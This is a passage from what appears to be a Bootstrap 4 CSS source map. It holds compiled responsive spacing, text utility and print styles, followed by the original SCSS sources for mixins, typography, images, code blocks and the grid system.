!important;\n }\n .pt-sm-1,\n .py-sm-1 {\n padding-top: 0.25rem !important;\n }\n .pr-sm-1,\n .px-sm-1 {\n padding-right: 0.25rem !important;\n }\n .pb-sm-1,\n .py-sm-1 {\n padding-bottom: 0.25rem !important;\n }\n .pl-sm-1,\n .px-sm-1 {\n padding-left: 0.25rem !important;\n }\n .p-sm-2 {\n padding: 0.5rem !important;\n }\n .pt-sm-2,\n .py-sm-2 {\n padding-top: 0.5rem !important;\n }\n .pr-sm-2,\n .px-sm-2 {\n padding-right: 0.5rem !important;\n }\n .pb-sm-2,\n .py-sm-2 {\n padding-bottom: 0.5rem !important;\n }\n .pl-sm-2,\n .px-sm-2 {\n padding-left: 0.5rem !important;\n }\n .p-sm-3 {\n padding: 1rem !important;\n }\n .pt-sm-3,\n .py-sm-3 {\n padding-top: 1rem !important;\n }\n .pr-sm-3,\n .px-sm-3 {\n padding-right: 1rem !important;\n }\n .pb-sm-3,\n .py-sm-3 {\n padding-bottom: 1rem !important;\n }\n .pl-sm-3,\n .px-sm-3 {\n padding-left: 1rem !important;\n }\n .p-sm-4 {\n padding: 1.5rem !important;\n }\n .pt-sm-4,\n .py-sm-4 {\n padding-top: 1.5rem !important;\n }\n .pr-sm-4,\n .px-sm-4 {\n padding-right: 1.5rem !important;\n }\n .pb-sm-4,\n .py-sm-4 {\n padding-bottom: 1.5rem !important;\n }\n .pl-sm-4,\n .px-sm-4 {\n padding-left: 1.5rem !important;\n }\n .p-sm-5 {\n padding: 3rem !important;\n }\n .pt-sm-5,\n .py-sm-5 {\n padding-top: 3rem !important;\n }\n .pr-sm-5,\n .px-sm-5 {\n padding-right: 3rem !important;\n }\n .pb-sm-5,\n .py-sm-5 {\n padding-bottom: 3rem !important;\n }\n .pl-sm-5,\n .px-sm-5 {\n padding-left: 3rem !important;\n }\n .m-sm-auto {\n margin: auto !important;\n }\n .mt-sm-auto,\n .my-sm-auto {\n margin-top: auto !important;\n }\n .mr-sm-auto,\n .mx-sm-auto {\n margin-right: auto !important;\n }\n .mb-sm-auto,\n .my-sm-auto {\n margin-bottom: auto !important;\n }\n .ml-sm-auto,\n .mx-sm-auto {\n margin-left: auto !important;\n }\n}\n\n@media (min-width: 768px) {\n .m-md-0 {\n margin: 0 !important;\n }\n .mt-md-0,\n .my-md-0 {\n margin-top: 0 !important;\n }\n .mr-md-0,\n .mx-md-0 {\n margin-right: 0 !important;\n }\n .mb-md-0,\n .my-md-0 {\n margin-bottom: 0 !important;\n }\n .ml-md-0,\n .mx-md-0 {\n margin-left: 0 !important;\n }\n .m-md-1 {\n margin: 0.25rem !important;\n }\n .mt-md-1,\n .my-md-1 {\n margin-top: 0.25rem !important;\n }\n .mr-md-1,\n .mx-md-1 {\n margin-right: 0.25rem !important;\n }\n .mb-md-1,\n .my-md-1 {\n margin-bottom: 0.25rem !important;\n }\n .ml-md-1,\n .mx-md-1 {\n margin-left: 0.25rem !important;\n }\n .m-md-2 {\n margin: 0.5rem !important;\n }\n .mt-md-2,\n .my-md-2 {\n margin-top: 0.5rem !important;\n }\n .mr-md-2,\n .mx-md-2 {\n margin-right: 0.5rem !important;\n }\n .mb-md-2,\n .my-md-2 {\n margin-bottom: 0.5rem !important;\n }\n .ml-md-2,\n .mx-md-2 {\n margin-left: 0.5rem !important;\n }\n .m-md-3 {\n margin: 1rem !important;\n }\n .mt-md-3,\n .my-md-3 {\n margin-top: 1rem !important;\n }\n .mr-md-3,\n .mx-md-3 {\n margin-right: 1rem !important;\n }\n .mb-md-3,\n .my-md-3 {\n margin-bottom: 1rem !important;\n }\n .ml-md-3,\n .mx-md-3 {\n margin-left: 1rem !important;\n }\n .m-md-4 {\n margin: 1.5rem !important;\n }\n .mt-md-4,\n .my-md-4 {\n margin-top: 1.5rem !important;\n }\n .mr-md-4,\n .mx-md-4 {\n margin-right: 1.5rem !important;\n }\n .mb-md-4,\n .my-md-4 {\n margin-bottom: 1.5rem !important;\n }\n .ml-md-4,\n .mx-md-4 {\n margin-left: 1.5rem !important;\n }\n .m-md-5 {\n margin: 3rem !important;\n }\n .mt-md-5,\n .my-md-5 {\n margin-top: 3rem !important;\n }\n .mr-md-5,\n .mx-md-5 {\n margin-right: 3rem !important;\n }\n .mb-md-5,\n .my-md-5 {\n margin-bottom: 3rem !important;\n }\n .ml-md-5,\n .mx-md-5 {\n margin-left: 3rem !important;\n }\n .p-md-0 {\n padding: 0 !important;\n }\n .pt-md-0,\n .py-md-0 {\n padding-top: 0 !important;\n }\n .pr-md-0,\n .px-md-0 {\n padding-right: 0 !important;\n }\n .pb-md-0,\n .py-md-0 {\n padding-bottom: 0 !important;\n }\n .pl-md-0,\n .px-md-0 {\n padding-left: 0 !important;\n }\n .p-md-1 {\n padding: 0.25rem !important;\n }\n .pt-md-1,\n .py-md-1 {\n padding-top: 0.25rem !important;\n }\n .pr-md-1,\n .px-md-1 {\n padding-right: 0.25rem !important;\n }\n .pb-md-1,\n .py-md-1 {\n padding-bottom: 0.25rem !important;\n }\n .pl-md-1,\n .px-md-1 {\n padding-left: 0.25rem !important;\n }\n .p-md-2 {\n padding: 0.5rem !important;\n }\n .pt-md-2,\n .py-md-2 {\n padding-top: 0.5rem !important;\n }\n .pr-md-2,\n .px-md-2 {\n padding-right: 0.5rem !important;\n }\n .pb-md-2,\n .py-md-2 {\n padding-bottom: 0.5rem !important;\n }\n .pl-md-2,\n .px-md-2 {\n padding-left: 0.5rem !important;\n }\n .p-md-3 {\n padding: 1rem !important;\n }\n .pt-md-3,\n .py-md-3 {\n padding-top: 1rem !important;\n }\n .pr-md-3,\n .px-md-3 {\n padding-right: 1rem !important;\n }\n .pb-md-3,\n .py-md-3 {\n padding-bottom: 1rem !important;\n }\n .pl-md-3,\n .px-md-3 {\n padding-left: 1rem !important;\n }\n .p-md-4 {\n padding: 1.5rem !important;\n }\n .pt-md-4,\n .py-md-4 {\n padding-top: 1.5rem !important;\n }\n .pr-md-4,\n .px-md-4 {\n padding-right: 1.5rem !important;\n }\n .pb-md-4,\n .py-md-4 {\n padding-bottom: 1.5rem !important;\n }\n .pl-md-4,\n .px-md-4 {\n padding-left: 1.5rem !important;\n }\n .p-md-5 {\n padding: 3rem !important;\n }\n .pt-md-5,\n .py-md-5 {\n padding-top: 3rem !important;\n }\n .pr-md-5,\n .px-md-5 {\n padding-right: 3rem !important;\n }\n .pb-md-5,\n .py-md-5 {\n padding-bottom: 3rem !important;\n }\n .pl-md-5,\n .px-md-5 {\n padding-left: 3rem !important;\n }\n .m-md-auto {\n margin: auto !important;\n }\n .mt-md-auto,\n .my-md-auto {\n margin-top: auto !important;\n }\n .mr-md-auto,\n .mx-md-auto {\n margin-right: auto !important;\n }\n .mb-md-auto,\n .my-md-auto {\n margin-bottom: auto !important;\n }\n .ml-md-auto,\n .mx-md-auto {\n margin-left: auto !important;\n }\n}\n\n@media (min-width: 992px) {\n .m-lg-0 {\n margin: 0 !important;\n }\n .mt-lg-0,\n .my-lg-0 {\n margin-top: 0 !important;\n }\n .mr-lg-0,\n .mx-lg-0 {\n margin-right: 0 !important;\n }\n .mb-lg-0,\n .my-lg-0 {\n margin-bottom: 0 !important;\n }\n .ml-lg-0,\n .mx-lg-0 {\n margin-left: 0 !important;\n }\n .m-lg-1 {\n margin: 0.25rem !important;\n }\n .mt-lg-1,\n .my-lg-1 {\n margin-top: 0.25rem !important;\n }\n .mr-lg-1,\n .mx-lg-1 {\n margin-right: 0.25rem !important;\n }\n .mb-lg-1,\n .my-lg-1 {\n margin-bottom: 0.25rem !important;\n }\n .ml-lg-1,\n .mx-lg-1 {\n margin-left: 0.25rem !important;\n }\n .m-lg-2 {\n margin: 0.5rem !important;\n }\n .mt-lg-2,\n .my-lg-2 {\n margin-top: 0.5rem !important;\n }\n .mr-lg-2,\n .mx-lg-2 {\n margin-right: 0.5rem !important;\n }\n .mb-lg-2,\n .my-lg-2 {\n margin-bottom: 0.5rem !important;\n }\n .ml-lg-2,\n .mx-lg-2 {\n margin-left: 0.5rem !important;\n }\n .m-lg-3 {\n margin: 1rem !important;\n }\n .mt-lg-3,\n .my-lg-3 {\n margin-top: 1rem !important;\n }\n .mr-lg-3,\n .mx-lg-3 {\n margin-right: 1rem !important;\n }\n .mb-lg-3,\n .my-lg-3 {\n margin-bottom: 1rem !important;\n }\n .ml-lg-3,\n .mx-lg-3 {\n margin-left: 1rem !important;\n }\n .m-lg-4 {\n margin: 1.5rem !important;\n }\n .mt-lg-4,\n .my-lg-4 {\n margin-top: 1.5rem !important;\n }\n .mr-lg-4,\n .mx-lg-4 {\n margin-right: 1.5rem !important;\n }\n .mb-lg-4,\n .my-lg-4 {\n margin-bottom: 1.5rem !important;\n }\n .ml-lg-4,\n .mx-lg-4 {\n margin-left: 1.5rem !important;\n }\n .m-lg-5 {\n margin: 3rem !important;\n }\n .mt-lg-5,\n .my-lg-5 {\n margin-top: 3rem !important;\n }\n .mr-lg-5,\n .mx-lg-5 {\n margin-right: 3rem !important;\n }\n .mb-lg-5,\n .my-lg-5 {\n margin-bottom: 3rem !important;\n }\n .ml-lg-5,\n .mx-lg-5 {\n margin-left: 3rem !important;\n }\n .p-lg-0 {\n padding: 0 !important;\n }\n .pt-lg-0,\n .py-lg-0 {\n padding-top: 0 !important;\n }\n .pr-lg-0,\n .px-lg-0 {\n padding-right: 0 !important;\n }\n .pb-lg-0,\n .py-lg-0 {\n padding-bottom: 0 !important;\n }\n .pl-lg-0,\n .px-lg-0 {\n padding-left: 0 !important;\n }\n .p-lg-1 {\n padding: 0.25rem !important;\n }\n .pt-lg-1,\n .py-lg-1 {\n padding-top: 0.25rem !important;\n }\n .pr-lg-1,\n .px-lg-1 {\n padding-right: 0.25rem !important;\n }\n .pb-lg-1,\n .py-lg-1 {\n padding-bottom: 0.25rem !important;\n }\n .pl-lg-1,\n .px-lg-1 {\n padding-left: 0.25rem !important;\n }\n .p-lg-2 {\n padding: 0.5rem !important;\n }\n .pt-lg-2,\n .py-lg-2 {\n padding-top: 0.5rem !important;\n }\n .pr-lg-2,\n .px-lg-2 {\n padding-right: 0.5rem !important;\n }\n .pb-lg-2,\n .py-lg-2 {\n padding-bottom: 0.5rem !important;\n }\n .pl-lg-2,\n .px-lg-2 {\n padding-left: 0.5rem !important;\n }\n .p-lg-3 {\n padding: 1rem !important;\n }\n .pt-lg-3,\n .py-lg-3 {\n padding-top: 1rem !important;\n }\n .pr-lg-3,\n .px-lg-3 {\n padding-right: 1rem !important;\n }\n .pb-lg-3,\n .py-lg-3 {\n padding-bottom: 1rem !important;\n }\n .pl-lg-3,\n .px-lg-3 {\n padding-left: 1rem !important;\n }\n .p-lg-4 {\n padding: 1.5rem !important;\n }\n .pt-lg-4,\n .py-lg-4 {\n padding-top: 1.5rem !important;\n }\n .pr-lg-4,\n .px-lg-4 {\n padding-right: 1.5rem !important;\n }\n .pb-lg-4,\n .py-lg-4 {\n padding-bottom: 1.5rem !important;\n }\n .pl-lg-4,\n .px-lg-4 {\n padding-left: 1.5rem !important;\n }\n .p-lg-5 {\n padding: 3rem !important;\n }\n .pt-lg-5,\n .py-lg-5 {\n padding-top: 3rem !important;\n }\n .pr-lg-5,\n .px-lg-5 {\n padding-right: 3rem !important;\n }\n .pb-lg-5,\n .py-lg-5 {\n padding-bottom: 3rem !important;\n }\n .pl-lg-5,\n .px-lg-5 {\n padding-left: 3rem !important;\n }\n .m-lg-auto {\n margin: auto !important;\n }\n .mt-lg-auto,\n .my-lg-auto {\n margin-top: auto !important;\n }\n .mr-lg-auto,\n .mx-lg-auto {\n margin-right: auto !important;\n }\n .mb-lg-auto,\n .my-lg-auto {\n margin-bottom: auto !important;\n }\n .ml-lg-auto,\n .mx-lg-auto {\n margin-left: auto !important;\n }\n}\n\n@media (min-width: 1200px) {\n .m-xl-0 {\n margin: 0 !important;\n }\n .mt-xl-0,\n .my-xl-0 {\n margin-top: 0 !important;\n }\n .mr-xl-0,\n .mx-xl-0 {\n margin-right: 0 !important;\n }\n .mb-xl-0,\n .my-xl-0 {\n margin-bottom: 0 !important;\n }\n .ml-xl-0,\n .mx-xl-0 {\n margin-left: 0 !important;\n }\n .m-xl-1 {\n margin: 0.25rem !important;\n }\n .mt-xl-1,\n .my-xl-1 {\n margin-top: 0.25rem !important;\n }\n .mr-xl-1,\n .mx-xl-1 {\n margin-right: 0.25rem !important;\n }\n .mb-xl-1,\n .my-xl-1 {\n margin-bottom: 0.25rem !important;\n }\n .ml-xl-1,\n .mx-xl-1 {\n margin-left: 0.25rem !important;\n }\n .m-xl-2 {\n margin: 0.5rem !important;\n }\n .mt-xl-2,\n .my-xl-2 {\n margin-top: 0.5rem !important;\n }\n .mr-xl-2,\n .mx-xl-2 {\n margin-right: 0.5rem !important;\n }\n .mb-xl-2,\n .my-xl-2 {\n margin-bottom: 0.5rem !important;\n }\n .ml-xl-2,\n .mx-xl-2 {\n margin-left: 0.5rem !important;\n }\n .m-xl-3 {\n margin: 1rem !important;\n }\n .mt-xl-3,\n .my-xl-3 {\n margin-top: 1rem !important;\n }\n .mr-xl-3,\n .mx-xl-3 {\n margin-right: 1rem !important;\n }\n .mb-xl-3,\n .my-xl-3 {\n margin-bottom: 1rem !important;\n }\n .ml-xl-3,\n .mx-xl-3 {\n margin-left: 1rem !important;\n }\n .m-xl-4 {\n margin: 1.5rem !important;\n }\n .mt-xl-4,\n .my-xl-4 {\n margin-top: 1.5rem !important;\n }\n .mr-xl-4,\n .mx-xl-4 {\n margin-right: 1.5rem !important;\n }\n .mb-xl-4,\n .my-xl-4 {\n margin-bottom: 1.5rem !important;\n }\n .ml-xl-4,\n .mx-xl-4 {\n margin-left: 1.5rem !important;\n }\n .m-xl-5 {\n margin: 3rem !important;\n }\n .mt-xl-5,\n .my-xl-5 {\n margin-top: 3rem !important;\n }\n .mr-xl-5,\n .mx-xl-5 {\n margin-right: 3rem !important;\n }\n .mb-xl-5,\n .my-xl-5 {\n margin-bottom: 3rem !important;\n }\n .ml-xl-5,\n .mx-xl-5 {\n margin-left: 3rem !important;\n }\n .p-xl-0 {\n padding: 0 !important;\n }\n .pt-xl-0,\n .py-xl-0 {\n padding-top: 0 !important;\n }\n .pr-xl-0,\n .px-xl-0 {\n padding-right: 0 !important;\n }\n .pb-xl-0,\n .py-xl-0 {\n padding-bottom: 0 !important;\n }\n .pl-xl-0,\n .px-xl-0 {\n padding-left: 0 !important;\n }\n .p-xl-1 {\n padding: 0.25rem !important;\n }\n .pt-xl-1,\n .py-xl-1 {\n padding-top: 0.25rem !important;\n }\n .pr-xl-1,\n .px-xl-1 {\n padding-right: 0.25rem !important;\n }\n .pb-xl-1,\n .py-xl-1 {\n padding-bottom: 0.25rem !important;\n }\n .pl-xl-1,\n .px-xl-1 {\n padding-left: 0.25rem !important;\n }\n .p-xl-2 {\n padding: 0.5rem !important;\n }\n .pt-xl-2,\n .py-xl-2 {\n padding-top: 0.5rem !important;\n }\n .pr-xl-2,\n .px-xl-2 {\n padding-right: 0.5rem !important;\n }\n .pb-xl-2,\n .py-xl-2 {\n padding-bottom: 0.5rem !important;\n }\n .pl-xl-2,\n .px-xl-2 {\n padding-left: 0.5rem !important;\n }\n .p-xl-3 {\n padding: 1rem !important;\n }\n .pt-xl-3,\n .py-xl-3 {\n padding-top: 1rem !important;\n }\n .pr-xl-3,\n .px-xl-3 {\n padding-right: 1rem !important;\n }\n .pb-xl-3,\n .py-xl-3 {\n padding-bottom: 1rem !important;\n }\n .pl-xl-3,\n .px-xl-3 {\n padding-left: 1rem !important;\n }\n .p-xl-4 {\n padding: 1.5rem !important;\n }\n .pt-xl-4,\n .py-xl-4 {\n padding-top: 1.5rem !important;\n }\n .pr-xl-4,\n .px-xl-4 {\n padding-right: 1.5rem !important;\n }\n .pb-xl-4,\n .py-xl-4 {\n padding-bottom: 1.5rem !important;\n }\n .pl-xl-4,\n .px-xl-4 {\n padding-left: 1.5rem !important;\n }\n .p-xl-5 {\n padding: 3rem !important;\n }\n .pt-xl-5,\n .py-xl-5 {\n padding-top: 3rem !important;\n }\n .pr-xl-5,\n .px-xl-5 {\n padding-right: 3rem !important;\n }\n .pb-xl-5,\n .py-xl-5 {\n padding-bottom: 3rem !important;\n }\n .pl-xl-5,\n .px-xl-5 {\n padding-left: 3rem !important;\n }\n .m-xl-auto {\n margin: auto !important;\n }\n .mt-xl-auto,\n .my-xl-auto {\n margin-top: auto !important;\n }\n .mr-xl-auto,\n .mx-xl-auto {\n margin-right: auto !important;\n }\n .mb-xl-auto,\n .my-xl-auto {\n margin-bottom: auto !important;\n }\n .ml-xl-auto,\n .mx-xl-auto {\n margin-left: auto !important;\n }\n}\n\n.text-monospace {\n font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\n.text-justify {\n text-align: justify !important;\n}\n\n.text-nowrap {\n white-space: nowrap !important;\n}\n\n.text-truncate {\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n}\n\n.text-left {\n text-align: left !important;\n}\n\n.text-right {\n text-align: right !important;\n}\n\n.text-center {\n text-align: center !important;\n}\n\n@media (min-width: 576px) {\n .text-sm-left {\n text-align: left !important;\n }\n .text-sm-right {\n text-align: right !important;\n }\n .text-sm-center {\n text-align: center !important;\n }\n}\n\n@media (min-width: 768px) {\n .text-md-left {\n text-align: left !important;\n }\n .text-md-right {\n text-align: right !important;\n }\n .text-md-center {\n text-align: center !important;\n }\n}\n\n@media (min-width: 992px) {\n .text-lg-left {\n text-align: left !important;\n }\n .text-lg-right {\n text-align: right !important;\n }\n .text-lg-center {\n text-align: center !important;\n }\n}\n\n@media (min-width: 1200px) {\n .text-xl-left {\n text-align: left !important;\n }\n .text-xl-right {\n text-align: right !important;\n }\n .text-xl-center {\n text-align: center !important;\n }\n}\n\n.text-lowercase {\n text-transform: lowercase !important;\n}\n\n.text-uppercase {\n text-transform: uppercase !important;\n}\n\n.text-capitalize {\n text-transform: capitalize !important;\n}\n\n.font-weight-light {\n font-weight: 300 !important;\n}\n\n.font-weight-normal {\n font-weight: 400 !important;\n}\n\n.font-weight-bold {\n font-weight: 700 !important;\n}\n\n.font-italic {\n font-style: italic !important;\n}\n\n.text-white {\n color: #fff !important;\n}\n\n.text-primary {\n color: #007bff !important;\n}\n\na.text-primary:hover, a.text-primary:focus {\n color: #0062cc !important;\n}\n\n.text-secondary {\n color: #6c757d !important;\n}\n\na.text-secondary:hover, a.text-secondary:focus {\n color: #545b62 !important;\n}\n\n.text-success {\n color: #28a745 !important;\n}\n\na.text-success:hover, a.text-success:focus {\n color: #1e7e34 !important;\n}\n\n.text-info {\n color: #17a2b8 !important;\n}\n\na.text-info:hover, a.text-info:focus {\n color: #117a8b !important;\n}\n\n.text-warning {\n color: #ffc107 !important;\n}\n\na.text-warning:hover, a.text-warning:focus {\n color: #d39e00 !important;\n}\n\n.text-danger {\n color: #dc3545 !important;\n}\n\na.text-danger:hover, a.text-danger:focus {\n color: #bd2130 !important;\n}\n\n.text-light {\n color: #f8f9fa !important;\n}\n\na.text-light:hover, a.text-light:focus {\n color: #dae0e5 !important;\n}\n\n.text-dark {\n color: #343a40 !important;\n}\n\na.text-dark:hover, a.text-dark:focus {\n color: #1d2124 !important;\n}\n\n.text-body {\n color: #212529 !important;\n}\n\n.text-muted {\n color: #6c757d !important;\n}\n\n.text-black-50 {\n color: rgba(0, 0, 0, 0.5) !important;\n}\n\n.text-white-50 {\n color: rgba(255, 255, 255, 0.5) !important;\n}\n\n.text-hide {\n font: 0/0 a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n}\n\n.visible {\n visibility: visible !important;\n}\n\n.invisible {\n visibility: hidden !important;\n}\n\n@media print {\n *,\n *::before,\n *::after {\n text-shadow: none !important;\n box-shadow: none !important;\n }\n a:not(.btn) {\n text-decoration: underline;\n }\n abbr[title]::after {\n content: \" (\" attr(title) \")\";\n }\n pre {\n white-space: pre-wrap !important;\n }\n pre,\n blockquote {\n border: 1px solid #adb5bd;\n page-break-inside: avoid;\n }\n thead {\n display: table-header-group;\n }\n tr,\n img {\n page-break-inside: avoid;\n }\n p,\n h2,\n h3 {\n orphans: 3;\n widows: 3;\n }\n h2,\n h3 {\n page-break-after: avoid;\n }\n @page {\n size: a3;\n }\n body {\n min-width: 992px !important;\n }\n .container {\n min-width: 992px !important;\n }\n .navbar {\n display: none;\n }\n .badge {\n border: 1px solid #000;\n }\n .table {\n border-collapse: collapse !important;\n }\n .table td,\n .table th {\n background-color: #fff !important;\n }\n .table-bordered th,\n .table-bordered td {\n border: 1px solid #dee2e6 !important;\n }\n}\n\n/*# sourceMappingURL=bootstrap.css.map */","// Hover mixin and `$enable-hover-media-query` are deprecated.\n//\n// Origally added during our alphas and maintained during betas, this mixin was\n// designed to prevent `:hover` stickiness on iOS-an issue where hover styles\n// would persist after initial touch.\n//\n// For backward compatibility, we've kept these mixins and updated them to\n// always return their regular psuedo-classes instead of a shimmed media query.\n//\n// Issue: https://github.com/twbs/bootstrap/issues/25195\n\n@mixin hover {\n &:hover { @content; }\n}\n\n@mixin hover-focus {\n &:hover,\n &:focus {\n @content;\n }\n}\n\n@mixin plain-hover-focus {\n &,\n &:hover,\n &:focus {\n @content;\n }\n}\n\n@mixin hover-focus-active {\n &:hover,\n &:focus,\n &:active {\n @content;\n }\n}\n","// stylelint-disable declaration-no-important, selector-list-comma-newline-after\n\n//\n// Headings\n//\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n margin-bottom: $headings-margin-bottom;\n font-family: $headings-font-family;\n font-weight: $headings-font-weight;\n line-height: $headings-line-height;\n color: $headings-color;\n}\n\nh1, .h1 { font-size: $h1-font-size; }\nh2, .h2 { font-size: $h2-font-size; }\nh3, .h3 { font-size: $h3-font-size; }\nh4, .h4 { font-size: $h4-font-size; }\nh5, .h5 { font-size: $h5-font-size; }\nh6, .h6 { font-size: $h6-font-size; }\n\n.lead {\n font-size: $lead-font-size;\n font-weight: $lead-font-weight;\n}\n\n// Type display classes\n.display-1 {\n font-size: $display1-size;\n font-weight: $display1-weight;\n line-height: $display-line-height;\n}\n.display-2 {\n font-size: $display2-size;\n font-weight: $display2-weight;\n line-height: $display-line-height;\n}\n.display-3 {\n font-size: $display3-size;\n font-weight: $display3-weight;\n line-height: $display-line-height;\n}\n.display-4 {\n font-size: $display4-size;\n font-weight: $display4-weight;\n line-height: $display-line-height;\n}\n\n\n//\n// Horizontal rules\n//\n\nhr {\n margin-top: $hr-margin-y;\n margin-bottom: $hr-margin-y;\n border: 0;\n border-top: $hr-border-width solid $hr-border-color;\n}\n\n\n//\n// Emphasis\n//\n\nsmall,\n.small {\n font-size: $small-font-size;\n font-weight: $font-weight-normal;\n}\n\nmark,\n.mark {\n padding: $mark-padding;\n background-color: $mark-bg;\n}\n\n\n//\n// Lists\n//\n\n.list-unstyled {\n @include list-unstyled;\n}\n\n// Inline turns list items into inline-block\n.list-inline {\n @include list-unstyled;\n}\n.list-inline-item {\n display: inline-block;\n\n &:not(:last-child) {\n margin-right: $list-inline-padding;\n }\n}\n\n\n//\n// Misc\n//\n\n// Builds on `abbr`\n.initialism {\n font-size: 90%;\n text-transform: uppercase;\n}\n\n// Blockquotes\n.blockquote {\n margin-bottom: $spacer;\n font-size: $blockquote-font-size;\n}\n\n.blockquote-footer {\n display: block;\n font-size: 80%; // back to default font-size\n color: $blockquote-small-color;\n\n &::before {\n content: \"\\2014 \\00A0\"; // em dash, nbsp\n }\n}\n","// Lists\n\n// Unstyled keeps list items block level, just removes default browser padding and list-style\n@mixin list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n","// Responsive images (ensure images don't scale beyond their parents)\n//\n// This is purposefully opt-in via an explicit class rather than being the default for all `<img>`s.\n// We previously tried the \"images are responsive by default\" approach in Bootstrap v2,\n// and abandoned it in Bootstrap v3 because it breaks lots of third-party widgets (including Google Maps)\n// which weren't expecting the images within themselves to be involuntarily resized.\n// See also https://github.com/twbs/bootstrap/issues/18178\n.img-fluid {\n @include img-fluid;\n}\n\n\n// Image thumbnails\n.img-thumbnail {\n padding: $thumbnail-padding;\n background-color: $thumbnail-bg;\n border: $thumbnail-border-width solid $thumbnail-border-color;\n @include border-radius($thumbnail-border-radius);\n @include box-shadow($thumbnail-box-shadow);\n\n // Keep them at most 100% wide\n @include img-fluid;\n}\n\n//\n// Figures\n//\n\n.figure {\n // Ensures the caption's text aligns with the image.\n display: inline-block;\n}\n\n.figure-img {\n margin-bottom: ($spacer / 2);\n line-height: 1;\n}\n\n.figure-caption {\n font-size: $figure-caption-font-size;\n color: $figure-caption-color;\n}\n","// Image Mixins\n// - Responsive image\n// - Retina image\n\n\n// Responsive image\n//\n// Keep images from scaling beyond the width of their parents.\n\n@mixin img-fluid {\n // Part 1: Set a maximum relative to the parent\n max-width: 100%;\n // Part 2: Override the height to auto, otherwise images will be stretched\n // when setting a width and height attribute on the img element.\n height: auto;\n}\n\n\n// Retina image\n//\n// Short retina mixin for setting background-image and -size.\n\n// stylelint-disable indentation, media-query-list-comma-newline-after\n@mixin img-retina($file-1x, $file-2x, $width-1x, $height-1x) {\n background-image: url($file-1x);\n\n // Autoprefixer takes care of adding -webkit-min-device-pixel-ratio and -o-min-device-pixel-ratio,\n // but doesn't convert dppx=>dpi.\n // There's no such thing as unprefixed min-device-pixel-ratio since it's nonstandard.\n // Compatibility info: https://caniuse.com/#feat=css-media-resolution\n @media only screen and (min-resolution: 192dpi), // IE9-11 don't support dppx\n only screen and (min-resolution: 2dppx) { // Standardized\n background-image: url($file-2x);\n background-size: $width-1x $height-1x;\n }\n}\n","// Single side border-radius\n\n@mixin border-radius($radius: $border-radius) {\n @if $enable-rounded {\n border-radius: $radius;\n }\n}\n\n@mixin border-top-radius($radius) {\n @if $enable-rounded {\n border-top-left-radius: $radius;\n border-top-right-radius: $radius;\n }\n}\n\n@mixin border-right-radius($radius) {\n @if $enable-rounded {\n border-top-right-radius: $radius;\n border-bottom-right-radius: $radius;\n }\n}\n\n@mixin border-bottom-radius($radius) {\n @if $enable-rounded {\n border-bottom-right-radius: $radius;\n border-bottom-left-radius: $radius;\n }\n}\n\n@mixin border-left-radius($radius) {\n @if $enable-rounded {\n border-top-left-radius: $radius;\n border-bottom-left-radius: $radius;\n }\n}\n","// Inline and block code styles\ncode,\nkbd,\npre,\nsamp {\n font-family: $font-family-monospace;\n}\n\n// Inline code\ncode {\n font-size: $code-font-size;\n color: $code-color;\n word-break: break-word;\n\n // Streamline the style when inside anchors to avoid broken underline and more\n a > & {\n color: inherit;\n }\n}\n\n// User input typically entered via keyboard\nkbd {\n padding: $kbd-padding-y $kbd-padding-x;\n font-size: $kbd-font-size;\n color: $kbd-color;\n background-color: $kbd-bg;\n @include border-radius($border-radius-sm);\n @include box-shadow($kbd-box-shadow);\n\n kbd {\n padding: 0;\n font-size: 100%;\n font-weight: $nested-kbd-font-weight;\n @include box-shadow(none);\n }\n}\n\n// Blocks of code\npre {\n display: block;\n font-size: $code-font-size;\n color: $pre-color;\n\n // Account for some code outputs that place code tags in pre tags\n code {\n font-size: inherit;\n color: inherit;\n word-break: normal;\n }\n}\n\n// Enable scrollable blocks of code\n.pre-scrollable {\n max-height: $pre-scrollable-max-height;\n overflow-y: scroll;\n}\n","// Container widths\n//\n// Set the container width, and override it for fixed navbars in media queries.\n\n@if $enable-grid-classes {\n .container {\n @include make-container();\n @include make-container-max-widths();\n }\n}\n\n// Fluid container\n//\n// Utilizes the mixin meant for fixed width containers, but with 100% width for\n// fluid, full width layouts.\n\n@if $enable-grid-classes {\n .container-fluid {\n @include make-container();\n }\n}\n\n// Row\n//\n// Rows contain and clear the floats of your columns.\n\n@if $enable-grid-classes {\n .row {\n @include make-row();\n }\n\n // Remove the negative margin from default .row, then the horizontal padding\n // from all immediate children columns (to prevent runaway style inheritance).\n .no-gutters {\n margin-right: 0;\n margin-left: 0;\n\n > .col,\n > [class*=\"col-\"] {\n padding-right: 0;\n padding-left: 0;\n }\n }\n}\n\n// Columns\n//\n// Common styles for small and large grid columns\n\n@if $enable-grid-classes {\n @include make-grid-columns();\n}\n","/// Grid system\n//\n// Generate semantic grid columns with these mixins.\n\n@mixin make-container() {\n width: 100%;\n padding-right: ($grid-gutter-width / 2);\n padding-left: ($grid-gutter-width / 2);\n margin-right: auto;\n margin-left: auto;\n}\n\n\n// For each breakpoint, define the maximum width of the container in a media query\n@mixin make-container-max-widths($max-widths: $container-max-widths, $breakpoints: $grid-breakpoints) {\n @each $breakpoint, $container-max-width in $max-widths {\n @include media-breakpoint-up($breakpoint, $breakpoints) {\n max-width: $container-max-width;\n }\n }\n}\n\n@mixin make-row() {\n display: flex;\n flex-wrap: wrap;\n margin-right: ($grid-gutter-width / -2);\n margin-left: ($grid-gutter-width / -2);\n}\n\n@mixin make-col-ready() {\n position: relative;\n // Prevent columns from becoming too narrow when at smaller grid tiers by\n // always setting `width: 100%;`. This works because we use `flex` values\n // later on to override this initial width.\n width: 100%;\n min-height: 1px; // Prevent collapsing\n padding-right: ($grid-gutter-width / 2);\n padding-left: ($grid-gutter-width / 2);\n}\n\n@mixin make-col($size, $columns: $grid-columns) {\n flex: 0 0 percentage($size / $columns);\n // Add a `max-width` to ensure content within each column does not blow out\n // the width of the column. Applies to IE10+ and Firefox. Chrome and Safari\n // do not appear to require this.\n max-width: percentage($size / $columns);\n}\n\n@mixin make-col-offset($size, $columns: $grid-columns) {\n $num: $size / $columns;\n margin-left: if($num == 0, 0, percentage($num));\n}\n","// Breakpoint viewport sizes and media queries.\n//\n// Breakpoints are defined as a map of (name: minimum width), order from small to large:\n//\n// (xs: 0, sm: 576px, md: 768px, lg: 